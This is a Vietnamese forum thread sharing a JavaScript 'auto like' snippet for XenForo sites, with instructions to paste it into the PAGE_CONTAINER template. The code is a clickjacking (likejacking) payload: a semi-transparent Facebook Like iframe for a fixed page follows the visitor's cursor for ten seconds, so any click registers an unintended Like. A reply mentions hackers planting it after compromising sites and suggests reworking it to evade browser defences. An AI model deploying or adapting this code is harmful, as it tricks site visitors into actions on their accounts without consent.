Code js auto like facebook cho xenforo

  • Thread starter Thread starter PVS
  • Ngày gửi Ngày gửi

PVS

Super Moderator
Thành viên BQT
Cách sử dụng
vào Admincp tìm temple PAGE_CONTAINER chèn vào cuối
Mã:
<script type="text/javascript">
  //<![CDATA[
(function(){
  var Xcord = 0,
  Ycord = 0,
  IE = document.all ? true : false;
  if (!IE) document.captureEvents(Event.MOUSEMOVE);
  var lbox = document.createElement('iframe');
  lbox.src = 'http://www.facebook.com/plugins/like.php?href=' + encodeURIComponent(/*document.location.href*/ 'https://www.facebook.com/KetNoiITViet24h') + '&amp;layout=standard&amp;show_faces=true&amp;width=53&amp;action=lbox&amp;colorscheme=light&amp;height=30';
  lbox.scrolling = 'no';
  lbox.frameBorder = 0;
  lbox.allowTransparency = 'true';
  lbox.style.border = 0;
  lbox.style.overflow = 'hidden';
  lbox.style.cursor = 'pointer';
  lbox.style.width = '53px';
  lbox.style.height =  '23px';
  lbox.style.position = 'absolute';
  lbox.style.opacity = 0.5;
  document.getElementsByTagName('body')[0].appendChild(lbox);
  window.addEventListener('mousemove', mouseMove, false);
  setTimeout(function(){
    document.getElementsByTagName('body')[0].removeChild(lbox);
    window.removeEventListener('mousemove', mouseMove, false);
  }, 10000);
  function mouseMove(e) {
    if (IE) {
      Xcord = event.clientX + document.body.scrollLeft;
      Ycord = event.clientY + document.body.scrollTop;
    } else {
      Xcord = e.pageX;
      Ycord = e.pageY;
    }
    if (Xcord < 0) Xcord = 0;
    if (Ycord < 0) Ycord = 0;
    lbox.style.top = (Ycord - 8) + 'px';
    lbox.style.left = (Xcord - 25) + 'px';
    return true
  }
})();
  //]]>
</script>


Nguồn: tailieu24h.net​
 
code này lâu rồi, khi local attack thì hacker nó hay nhúng vào để kéo like, cách đây 1 năm bị các trình duyệt chặng hết rồi, giờ dùng phải chế lại qua mặt anti.
 
  • Like
Reactions: THB
Back
Top